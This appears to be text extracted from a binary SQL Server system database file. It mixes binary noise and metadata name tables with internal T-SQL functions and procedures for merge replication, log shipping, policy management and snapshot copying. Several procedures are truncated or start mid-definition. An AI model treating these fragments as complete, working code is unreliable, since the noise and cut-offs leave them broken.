$PRECISION6*PRECISION_286RADIX6 REMARKS6SCALE6"SCALE_906$SCHEMA_ID6,SQL_DATA_TYPE62SQL_DATA_TYPE_2862SQL_DATA_TYPE_9062SQL_DATETIME_SUB68SQL_DATETIME_SUB_906+*SS_DATA_TYPE6"2SS_IS_COLUMN_SET6#.SS_IS_COMPUTED6$.SS_IS_IDENTITY6!*SS_IS_SPARSE6'DSS_UDT_ASSEMBLY_TYPE_NAME6%8SS_UDT_CATALOG_NAME6&6SS_UDT_SCHEMA_NAME6(ZSS_XML_SCHEMACOLLECTION_CATALOG_NAME6*JSS_XML_SCHEMACOLLECTION_NAME6)XSS_XML_SCHEMACOLLECTION_SCHEMA_NAME6&TABLE_NAME6(TABLE_OWNER60TABLE_QUALIFIER6$TYPE_NAME6*TYPE_NAME_286Be(database_id6BeTinternal_objects_alloc_page_count6BeXinternal_objects_dealloc_page_count6Be&session_id6BeLuser_objects_alloc_page_count6BePuser_objects_dealloc_page_count68@destination_folder6*@publication6&@publisher6(@subscriber6.@subscriber_db6Z2@active_end_date6Z@@active_end_time_of_day6Z6@active_start_date6ZD@active_start_time_of_day64@next_range_begin60@next_range_end!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0Z2

Z

<nH

L

		p	B		Nx\< X4Z0P.
d.\~R*t`Oe)Z//E\6,ca6@min_distretention6,ca
&@publisher6,ca
0@publisher_type6,ca(@rpcsrvname6d(@subscriber6d@type6ݾe @action6ݾe@ftcat6ݾe"@keyname6ݾe"@tabname6C|i@artid6C|i @column6C|i&@operation6C|i"@pubname6C|i8@qual_source_object6C|i<@schema_change_script6C|i$@typetext6j$@agent_id6j(@agent_type6j$@database6j
$@help_url6j	$@log_time6j
,@log_time_utc6j"@message6j@mode6j0@monitor_server6jL@monitor_server_security_mode6j2@sequence_number6j(@session_id6j @source6 z|@repid6S{.@err_not_found6S{@id6S{&@job_found6S{@name6S{"@step_id6S{$@step_uid6Jlow6Jname6Jnumber6Jtype6 @strCmd60distribution_id6name6(pdw_node_id6"position6R
@card6R0@distanceBuffer6R"@gGeoObj6R@maxx6R@maxy6R@minx6R@miny6R4@tessellationMode6R(@usDensity06R(@usDensity16R(@usDensity26R	(@usDensity36R0Cell_Attributes6R Cell_Id6RSRID6yB@snapshot_progress_token6y@@snapshot_session_token6|@dbid6|@objid6|$column_id6|*display_term6|(document_id6| keyword6|2occurrence_count6yֶ8@ignore_distributor6yֶ@value6.@head_of_queue6֬"end_time6֬(pdw_node_id6֬"progress6֬run_id6֬&start_time6֬status6֬6total_elapsed_time6B@allow_subscription_copy6	>@allow_synctoalternate64@conflict_logging6@pubid64@publication_name6&@publisher6,@publisher_db6&@retention6 @status6&@indexname6&@outputxml6"@tabname6.@verboseoutput6 @window6(@xml_output62@number_of_units6,@unit_of_time6G(@DatabaseId6
.@replicate_ddl6V@automatic_reinitialization_policy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0|N,


Xn
H

B`>


h
@

			x	6		|T,f6fL.t\.JhD`>xX<`1,
<M0)90 ?8
create function sys.fn_peerconflicttablename(@fulltablename nvarchar(540))
returns sysname
with execute as 'dbo'
as
begin
	declare @peerconflicttablename sysname
	
	declare @sourcetabid int
	select @sourcetabid = object_id(@fulltablename, N'U')
	if @sourcetabid is NULL
		select @peerconflicttablename = NULL
	else
	begin
		declare	@ownername     sysname
				,@basetablename     sysname
				,@tname nvarchar(270)

		select	@ownername = schema_name(objectproperty(@sourcetabid, 'SchemaId'))
				,@basetablename = OBJECT_NAME(@sourcetabid)

		select @tname = N'conflict' + N'_'  + @ownername + N'_' + @basetablename
		if LEN(@tname) > 128
			select @peerconflicttablename = NULL
		else
			select @peerconflicttablename = @tname
	end
	
	return @peerconflicttablename
end
0|
 8create procedure sys.sp_MSproxylogshippingmonitorhelpsecondary 
(
    @monitor_server sysname
    ,@p1 sysname
    ,@p2 sysname
    ,@p3 sysname
    ,@p4 sysname
    ,@p5 uniqueidentifier output
    ,@p6 int output
    ,@p7 bit output
    ,@p8 nvarchar(500) output
    ,@p9 datetime output
    ,@p10 nvarchar(500) output
    ,@p11 datetime output
    ,@p12 int output
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(4000)

    --
    -- get data from remote monitor
    --
    delete #secondary_monitor
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.master.sys.sp_help_log_shipping_monitor_secondary '
            ,@retcode = 0
    begin try
        insert into #secondary_monitor
        exec @retcode = @linkcmd 
                    @secondary_server = @p3
                    ,@secondary_database = @p4
    end try
    begin catch
        select @retcode = 1
                ,@p5 = NULL
    end catch
    
    if (@retcode = 0)
    begin
        select @p5 = secondary_id
                ,@p6 = restore_threshold
                ,@p7 = threshold_alert_enabled
                ,@p8 = last_copied_file
                ,@p9 = last_copied_date_utc
                ,@p10 = last_restored_file
                ,@p11 = last_restored_date_utc
                ,@p12 = last_restored_latency 
        from #secondary_monitor
        where upper(primary_server) = upper(@p1)
            and primary_database = @p2
    end
    else
    begin
        raiserror(32031, 10, 2, @p3, @p4, @monitor_server)
    end

    return @retcode
end
0|@ 8CREATE PROCEDURE sys.sp_syspolicy_unsubscribe_from_policy_category
	@policy_category sysname
AS
BEGIN
	IF( @policy_category IS NULL)
	BEGIN	
		RAISERROR(14043, -1, -1, '@policy_category', 'sp_syspolicy_unsubscribe_from_policy_category')
		RETURN(1)
	END

	IF (IS_MEMBER('db_owner') != 1)
	BEGIN
		RAISERROR(21050, -1, -1)
		RETURN(1)
	END
	DECLARE @policy_category_subscription_id INT
	SET @policy_category_subscription_id = 
		(SELECT policy_category_subscription_id 
			FROM [msdb].[dbo].[syspolicy_policy_category_subscriptions] pgs
			INNER JOIN [msdb].[dbo].[syspolicy_policy_categories] pg 
				ON pgs.policy_category_id = pg.policy_category_id
			WHERE pgs.target_type = N'DATABASE' AND 
					pgs.target_object = DB_NAME() AND
					pg.name = @policy_category)

	EXEC [msdb].[dbo].[sp_syspolicy_delete_policy_category_subscription] @policy_category_subscription_id
END
05 
8 
-- add it
create view sys.pdw_table_distribution_properties as
select
	object_id,
	distribution_policy,
	distribution_policy_desc	collate database_default distribution_policy_desc
from sys._pdw_table_distribution_properties
0k 88G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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article            sysname,
    @force_flag         int = 0,
    @pubid              uniqueidentifier = NULL) --publication name and article name can't guarantee uniqueness, in rare cases
                                                 --where republisher has the same pub/art names
as
    declare @ownername sysname
    declare @objectname sysname
    declare @conflict_proc sysname
    declare @conflict_table sysname
    declare @snapshot_ready int
    declare @ins_procname sysname
    declare @sel_procname sysname
    declare @del_procname sysname
    declare @sel_metadata_procname sysname
    declare @upd_procname sysname
    declare @ins_batch_procname sysname
    declare @upd_batch_procname sysname
    declare @view_selprocname nvarchar(290)
    declare @viewname sysname
    declare @artid uniqueidentifier
    declare @objid int
    declare @retcode smallint
    declare @dbname sysname
    declare @generate_downlevel_procs bit

    declare @procsuffix nvarchar(100)
    declare @sync_objid int
    declare @qual_conflict_table nvarchar(300)

 
    set nocount on
    /*
    ** Check to see if current publication has permission
    */
    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    if object_id('sysmergepublications') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end
    
    if @pubid is NULL
    begin
        if @force_flag = 1
        begin
            -- don't qualify that must be publisher when we are forcing remake at subscribers
            select @pubid = pubid, @snapshot_ready=snapshot_ready 
                from dbo.sysmergepublications 
                where name = @publication and 
                pubid in (select pubid from dbo.sysmergearticles where name=@article)
        end
        else
        begin
            select @pubid = pubid, @snapshot_ready=snapshot_ready 
                from dbo.sysmergepublications 
                where name = @publication and 
                upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
                publisher_db=db_name()
        end
    end
    else
    begin
        select @snapshot_ready=snapshot_ready 
            from dbo.sysmergepublications 
            where pubid = @pubid
    end

    select @artid= artid, @objid = objid, @conflict_table= conflict_table
            FROM dbo.sysmergearticles WHERE name = @article AND pubid = @pubid

    if @artid IS NULL
    BEGIN
        RAISERROR (20027, 16, -1, @article)
        RETURN (1)
    END

    select @generate_downlevel_procs = 0
    if (sys.fn_MSmerge_islocalpubid(@pubid) = 1)
    begin
        if exists (select 1 from dbo.sysmergepublications where pubid = @pubid and backward_comp_level<90)
            select @generate_downlevel_procs = 1
    end

    -- get owner name, and table name
    select @objectname = name, @ownername = SCHEMA_NAME(schema_id)  from sys.objects where object_id = @objid 

    select @procsuffix = sys.fn_MSmerge_getartprocsuffix(@artid, @pubid)

    -- Conflict insert proc is common to both regular and lightweight subscribers
    -- to be consistent with upgrade code by checking snapshot_ready>0
    select @qual_conflict_table = 'dbo.' + @conflict_table
    if @snapshot_ready>0 and @conflict_table is not NULL and object_id(@qual_conflict_table) is not NULL
        select @conflict_proc = 'MSmerge_cft_sp_' + @procsuffix
    else
        select @conflict_proc = NULL
        

    /* Drop the article procs if they preexist */
    exec @retcode = sys.sp_MSdroparticleprocs @pubid, @artid, 0 -- don't update proc names
    if @@ERROR<>0 OR @retcode<>0 goto FAILURE

    -- do this first. This is needed since we want to do the update of sysmergearticles at the end
    if @generate_downlevel_procs = 1
    begin
        declare @ins_procname_bc sysname
        declare @upd_procname_bc sysname
        declare @sel_procname_bc sysname

        /* Downlevel agents will use sp_ins_ prefix for the proc names */
        select @ins_procname_bc = 'sp_ins_' + @procsuffix
        select @upd_procname_bc = 'sp_upd_' + @procsuffix
        select @sel_procname_bc = 'sp_sel_' + @procsuffix

        exec @retcode=sys.sp_MScreateandsetarticleprocs
                @pubid = @pubid,
                @artid = @artid,
                @objectname = @objectname,
                @ownername = @ownername,
                @ins_procname = @ins_procname_bc,
                @ins_batch_procname = NULL,
                @upd_procname = @upd_procname_bc,
                @upd_batch_procname = NULL,
                @sel_procname = @sel_procname_bc,
                @del_procname = NULL,
                @sel_metadata_procname = NULL,
                @view_selprocname = NULL,
                @conflict_proc = NULL,
                @generate_downlevel_procs = 1,
                @update_symergearticles = 0
        if @retcode<>0 or @@ERROR<>0 goto FAILURE
    end

    select @ins_procname = 'MSmerge_ins_sp_' + @procsuffix
    select @upd_procname = 'MSmerge_upd_sp_' + @procsuffix

    -- Don't generate the batch insert and update procs if the article has a xml
    -- column. XML column needs streaming and we don't do batch updates and inserts when we have
    -- to do streaming.
    select @sync_objid = sync_objid from dbo.sysmergearticles where artid = @artid and pubid=@pubid
    select @ins_batch_procname = NULL
    select @upd_batch_procname = NULL
    if not exists (select * from sys.columns where object_id = @sync_objid and system_type_id = 241) 
    begin
       select @ins_batch_procname = @ins_procname + '_batch'
       select @upd_batch_procname = @upd_procname + '_batch'
    end

    select @sel_procname = 'MSmerge_sel_sp_' + @procsuffix
    select @del_procname = 'MSmerge_del_sp_' + @procsuffix
    select @sel_metadata_procname = 'MSmerge_sel_sp_' + @procsuffix + '_metadata'
    set @view_selprocname = 'MSmerge_sel_' + @procsuffix

    -- create the procs passing in the proc names
    exec @retcode=sys.sp_MScreateandsetarticleprocs
            @pubid = @pubid,
            @artid = @artid,
            @objectname = @objectname,
            @ownername = @ownername,
            @ins_procname = @ins_procname,
            @ins_batch_procname     = @ins_batch_procname,
            @upd_procname = @upd_procname,
            @upd_batch_procname     = @upd_batch_procname,
            @sel_procname = @sel_procname,
            @del_procname = @del_procname,
            @sel_metadata_procname = @sel_metadata_procname,
            @view_selprocname = @view_selprocname,
            @conflict_proc = @conflict_proc,
            @generate_downlevel_procs = 0
    if @retcode<>0 or @@ERROR<>0 goto FAILURE


    return 0

FAILURE:
    RAISERROR(20636, 16, -1, @article)
    return 1
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
H<	g2}fԀ0q@ 8
-- Modify temp table. No security check needed.
create procedure sys.sp_MSbelongs
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @tablenick      int,
    @rowguid        uniqueidentifier,
    @retval         int output,
    @nested         int = 0
AS
    declare @artid uniqueidentifier
    declare @join_guid uniqueidentifier
    declare @last_joinid int
    declare @join_id int
    declare @join_nick int
    declare @probe_id int
    declare @last_probe int
    declare @join_nickstr nvarchar(10)
    declare @pubid uniqueidentifier
    declare @guidstring nvarchar(38)
    declare @subset_filter nvarchar(4000)
    declare @qualified_tablename nvarchar(517)
    declare @unqualified_tablename nvarchar(266)
    declare @qualified_join_table nvarchar(517)
    declare @unqualified_join_table nvarchar(266)
    declare @boolean nvarchar(4000)
    declare @retcode smallint
    
    select @pubid = pubid from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db

    /* Check for case of all rows  - do I trust subset_type ? */
    select @boolean = subset_filterclause, @artid = artid from dbo.sysmergearticles where
        pubid = @pubid and nickname = @tablenick

    if ((@boolean is null or @boolean = ' ') and not exists
        (select * from dbo.sysmergesubsetfilters where art_nickname = @tablenick and (filter_type & 1) = 1))
        begin
        set @retval = 0
        return
        end
    if @nested = 0
        begin
        create table #found (flag int NOT NULL)
        create table #probe (probe_id int identity NOT NULL, tablenick int NOT NULL, 
                rowguid uniqueidentifier ROWGUIDCOL default newsequentialid() not null, tested int NOT NULL)
        insert into #found values (0)
        set @last_probe = 0
        end
    else
        begin
        select @last_probe = max(probe_id) from #probe
        end

    /* pubid is already available */
    
    exec @retcode = sys.sp_MStablenamefromnick @tablenick, @qualified_tablename out, @pubid, @unqualified_tablename out

    if  @@ERROR<>0 or @retcode<>0 return (1) 
    set @guidstring = '''' + convert(nchar(36), @rowguid) + ''''

    /* If there is boolean filter, check for it being satisfied */
    if @boolean is not null and @boolean <> ' '
        begin
        exec ('if exists (select * from ' + @qualified_tablename + ' ' + @unqualified_tablename + ' where rowguidcol = ' +
            @guidstring + ' and (' + @boolean + ')) update #found set flag = 1')
        if @@ERROR<>0 return (1)
        select @retval = flag from #found
        if @retval = 1 goto EndLabel
        end
    
    /* Loop over join filters, populating #probe */
    select @join_id = min(join_filterid) from dbo.sysmergesubsetfilters where pubid = @pubid and art_nickname = @tablenick and (filter_type & 1) = 1
    while @join_id is not null
        begin
        select @boolean = join_filterclause, @join_nick = join_nickname from dbo.sysmergesubsetfilters where pubid = @pubid and join_filterid = @join_id and (filter_type & 1) = 1
        exec @retcode = sys.sp_MStablenamefromnick @join_nick, @qualified_join_table out, @pubid, @unqualified_join_table out
        if @@ERROR<>0 or @retcode<>0 return (1)
        set @join_nickstr = convert(nchar(10), @join_nick)

        /* execute a query to put these into the #probe table */
        exec ('insert into #probe (tablenick, rowguid, tested) select distinct ' + @join_nickstr + 
            ', ' + @unqualified_join_table + '.rowguidcol, 0 from ' + @qualified_tablename + ' ' + @unqualified_tablename + ', ' + @qualified_join_table + ' ' + @unqualified_join_table + '   
            where ' + @unqualified_tablename + '.rowguidcol = ' + @guidstring + ' and (' + @boolean + ')
            and not exists (select * from #probe where tablenick = ' + @join_nickstr + 
            ' and rowguidcol = ' + @unqualified_join_table + '.rowguidcol) ' )
        if @@ERROR<>0 
            begin
                return (1)
            end 

        /* get to next join filter and repeat */
        set @last_joinid = @join_id
        select @join_id = min(join_filterid) from dbo.sysmergesubsetfilters where pubid = @pubid and art_nickname = @tablenick and join_filterid > @last_joinid and (filter_type & 1) = 1
        end
    /* Loop over probe, making recursive call */
    select @probe_id = min(probe_id) from #probe where probe_id > @last_probe and tested = 0
    while @probe_id is not null
        begin
        select @join_nick = tablenick, @join_guid = rowguidcol from #probe where probe_id = @probe_id
        set @last_probe = @probe_id

        /* update tested flag on this row so we don't try it again while recursing */
        update #probe set tested = 1 where probe_id = @probe_id
    
        /* Make recursive call. If it belongs, we are done. */
        exec @retcode = sys.sp_MSbelongs @publisher, @publisher_db, @publication, @join_nick, @join_guid, @retval output, 1
        if @@ERROR<>0 OR @retcode<>0
            begin
                return (1)
            end

        if @retval = 1 goto EndLabel
        /* get next probe_id and repeat */
        select @probe_id = min(probe_id) from #probe where probe_id > @last_probe and tested = 0
        end

    /* All Done, delete temps if not nested */
EndLabel:
    if @nested = 0
        begin
        drop table #found
        drop table #probe
        end
    return

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<)
330ie@ 18create procedure sys.sp_MSrepl_copysnapshot
(
    @publication        sysname,
    @destination_folder nvarchar(255),
    @subscriber         sysname,
    @subscriber_db      sysname,
    @publisher            sysname
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode       int
    DECLARE @source_folder nvarchar(255)
    SELECT @retcode = 0
    
    -- Set publisher to be case insensitive by using UPPERCASE
    SELECT    @publisher = UPPER(@publisher)

    -- security check, db_owner
    EXEC @retcode = dbo.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    CREATE TABLE #snapshot_folders
    (
        id              int identity,
        snapshot_folder nvarchar(255) collate database_default
    )
    IF @@ERROR <> 0
    BEGIN
        RETURN 1
    END

    INSERT INTO #snapshot_folders
    EXEC @retcode = sys.sp_browsesnapshotfolder @publication    = @publication,
                                                @subscriber        = @subscriber,
                                                @subscriber_db    = @subscriber_db,
                                                @publisher        = @publisher
    IF @retcode <> 0 OR @@ERROR <> 0
    BEGIN
        GOTO Failure
    END

    SELECT @source_folder = (select top 1 snapshot_folder FROM #snapshot_folders ORDER BY id)
    IF @@ERROR <> 0
    BEGIN
        GOTO Failure
    END        
    SET ROWCOUNT 0

    EXEC @retcode = sys.sp_MScopysnapshot @source_folder,
                                          @destination_folder
    IF @retcode <> 0 OR @@ERROR <> 0 
    BEGIN
        GOTO Failure
    END

    DROP TABLE #snapshot_folders
    RETURN 0
Failure:
    SET ROWCOUNT 0
    DROP TABLE #snapshot_folders        
    RETURN 1
END
0<l B8
create procedure sys.sp_table_privileges_ex
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @table_name),0) = 0) and
            (isnull(charindex('_', @table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('%', @table_schema),0) = 0) and
            (isnull(charindex('_', @table_schema),0) = 0) and
            (isnull(charindex('[', @table_schema),0) = 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print '*************'
        */
        select
            TABLE_CAT       = rtp.TABLE_CATALOG,
            TABLE_SCHEM     = rtp.TABLE_SCHEMA,
            TABLE_NAME      = rtp.TABLE_NAME,
            GRANTOR         = rtp.GRANTOR,
            GRANTEE         = rtp.GRANTEE,
            PRIVILEGE       = rtp.PRIVILEGE_TYPE,
            IS_GRANTABLE    = case rtp.IS_GRANTABLE
                                when 1 then 'YES'
                                when 0 then 'NO'
                                else null
                              end
        from
            sys.fn_remote_table_privileges (@table_server,
                                            @table_catalog,
                                            @table_schema,
                                            @table_name,
                                            NULL,
                                            NULL) rtp
        order by 1, 2, 3, 6
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print '*************'
        */
        select
            TABLE_CAT       = rtp.TABLE_CATALOG,
            TABLE_SCHEM     = rtp.TABLE_SCHEMA,
            TABLE_NAME      = rtp.TABLE_NAME,
            GRANTOR         = rtp.GRANTOR,
            GRANTEE         = rtp.GRANTEE,
            PRIVILEGE       = rtp.PRIVILEGE_TYPE,
            IS_GRANTABLE    = case rtp.IS_GRANTABLE
                                when 1 then 'YES'
                                when 0 then 'NO'
                                else null
                              end
        from
            sys.fn_remote_table_privileges (@table_server,
                                            @table_catalog,
                                            NULL,
                                            NULL,
                                            NULL,
                                            NULL) rtp
        where
            (TABLE_SCHEMA like @table_schema or
             @table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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
M4<0p@ 8create procedure sys.sp_MSsetupnotbelongs
@artnick            int,
@before_view_objid  int,
@before_table_objid int,
@rgcol              sysname,
@commongen          bigint,
@allow_partition_realignment bit
AS
    declare @before_view_name sysname
    declare @before_table_name sysname
    declare @command nvarchar(4000)
    declare @retcode int
    
    /* Put changes in #notbelong  that aren't in #belong and have a relevant partchangegen  */
    -- If publication has before image tables, we should screen changes using the before image tables
    --rowguid in (select ' + @rgcol + ' from ' + @before_view_name + ') and
    if OBJECT_NAME(@before_view_objid) is not null
    begin
        set @before_view_name = OBJECT_NAME(@before_view_objid)
        set @before_table_name = OBJECT_NAME(@before_table_objid)

        -- Do not convert partition realignment to deletes if the allow_partition_realignment
        -- is set to false.
        if @allow_partition_realignment = 1
        begin
            set @command = 'insert into #notbelong (tablenick, rowguid, flag, partchangegen)
                    select tablenick, rowguid, 0, partchangegen
                    from #contents_subset
                    where partchangegen > @commongen
                    and tablenick = @artnick 
                    and rowguid in (select ' + quotename(@rgcol) + ' from ' + quotename(@before_view_name) + ')
                    and rowguid not in (select rowguid from #belong where tablenick = @artnick) 
                    union
                    select tablenick, rowguid, 0, partchangegen
                    from #contents_subset
                    where partchangegen > @commongen
                    and tablenick = @artnick
                    and rowguid in (select ' + quotename(@rgcol) + ' from ' + quotename(@before_table_name) + ' where system_delete = 1)                    
                    and rowguid not in (select rowguid from #belong where tablenick = @artnick)'
			exec @retcode = sp_executesql @command, N'@commongen int, @artnick int', @commongen=@commongen, @artnick=@artnick
			if @@error <> 0 or @retcode <> 0
            begin

                    return (1)
            end

            if exists (select * from #genlist)
            begin
                /* Add tombstones to ##notbelong */
                set @command = 'insert into #notbelong (tablenick, rowguid, flag, partchangegen, type) 
                        select tablenick, rowguid,  0, generation, type from
                        #tombstone_subset where tablenick = @artnick and
                        type = 6
                        union
                        select tablenick, rowguid,  0, generation, type from
                        #tombstone_subset where tablenick = @artnick and
                        rowguid in (select ' + quotename(@rgcol) + ' from ' + quotename(@before_view_name) + ')'
				exec @retcode = sp_executesql @command, N'@artnick int', @artnick=@artnick
